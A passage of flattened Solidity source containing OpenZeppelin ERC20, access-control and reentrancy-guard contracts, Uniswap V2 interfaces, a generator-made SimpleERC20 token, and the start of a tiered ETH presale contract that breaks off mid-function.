* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
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4769,
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102
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|
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/Uniswap.sol
pragma solidity ^0.8.5;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File: contracts/Presale.sol
pragma solidity 0.8.5;
contract Presale is AccessControl, ReentrancyGuard {
bytes32 public constant MANAGER = keccak256("MANAGER");
address public pasv_token;
address payable internal marketing_wallet;
address payable internal manager_1;
address payable internal manager_2;
address private uniswapV2Pair;
uint8 internal constant DECIMALS = 6;
uint256 internal constant ZEROES = 10**DECIMALS;
uint256 internal constant TOTAL_SUPPLY = 1000000000 * 10**6 * ZEROES;
// Total Allocations
uint256 internal totalLiquidityAmount;
uint256 internal totalMarketingAmount;
// Total Tier Allocation
uint256 internal totalEthTier1 = 0;
uint256 internal totalEthTier2 = 0;
uint256 internal totalEthTier3 = 0;
// Liquidity Deployed Flag
bool internal liquidityIsDeployed = false;
// PASV Token Address Set Flag
bool internal pasvAddressSet = false;
// Total Presale Pool Amount
uint256 public totalPresalePoolAmount = 75000000000000 * 10**6;
// Total Liquidity Pool Amount
uint256 public totalLiquidityPoolAmount = 500000000000000 * 10**6;
// Track token launch date and time
uint256 internal _tokenLaunchTime = 1631127600;
struct Buyer {
bool hasDeposited;
uint256 depositedEthTier1;
uint256 depositedEthTier2;
uint256 depositedEthTier3;
uint256 weightedBalance;
bool hasClaimed;
}
// Track buyers and allocations
mapping(address => Buyer) public presaleBuyers;
address[] internal buyerAddresses;
uint256 public totalAmountWithdrawn = 0;
uint256 internal totalPresaleWeightedBalance = 0;
constructor(
address payable _manager_1,
address payable _manager_2,
address payable _marketing
) {
_setupRole(MANAGER, _manager_1);
_setupRole(MANAGER, _manager_2);
marketing_wallet = _marketing;
manager_1 = _manager_1;
manager_2 = _manager_2;
totalLiquidityAmount = 0;
totalMarketingAmount = 0;
}
receive() external payable {}
function getPresaleAmount() public view returns (uint256) {
return totalPresalePoolAmount;
}
function getCurrentTier() public view returns (uint256) {
uint256 tier1Start = 1628794800;
uint256 tier1End = 1629917998;
uint256 tier2Start = 1629918000;
uint256 tier2End = 1630522798;
uint256 tier3Start = 1630522800;
uint256 tier3End = 1631127598;
if (block.timestamp > tier1Start && block.timestamp < tier1End) {
return 1;
} else if (block.timestamp > tier2Start && block.timestamp < tier2End) {
return 2;
} else if (block.timestamp > tier3Start && block.timestamp < tier3End) {
return 3;
} else {
return 4;
}
}
function depositEth() external payable nonReentrant {
// Require msg.value > 0
require(msg.value > 0);
// Check mapping if they deposited already
bool alreadyDeposited = presaleBuyers[msg.sender].hasDeposited;
// If alreadyDeposited == false then add msg.sender to buyerAddresses
if (!alreadyDeposited) {
presaleBuyers[msg.sender].hasDeposited = true;
// Add msg.sender to array
buyerAddresses.push(msg.sender);
}
// Check if total marketing amount has exceeded 100 ETH threshold
if (totalMarketingAmount < (100 * 10**18)) {
// Allocate 15% to marketing
uint256 marketingAllocation = (msg.value * 15) / 100;
totalMarketingAmount += marketingAllocation;
// Allocate 85% to liquidity
uint256 liquidityAllocation = (msg.value * 85) / 100;
totalLiquidityAmount += liquidityAllocation;
// Transfer marketing allocation to marketing wallet
marketing_wallet.transfer(marketingAllocation);
} else {
// Allocate 100% to liquidity
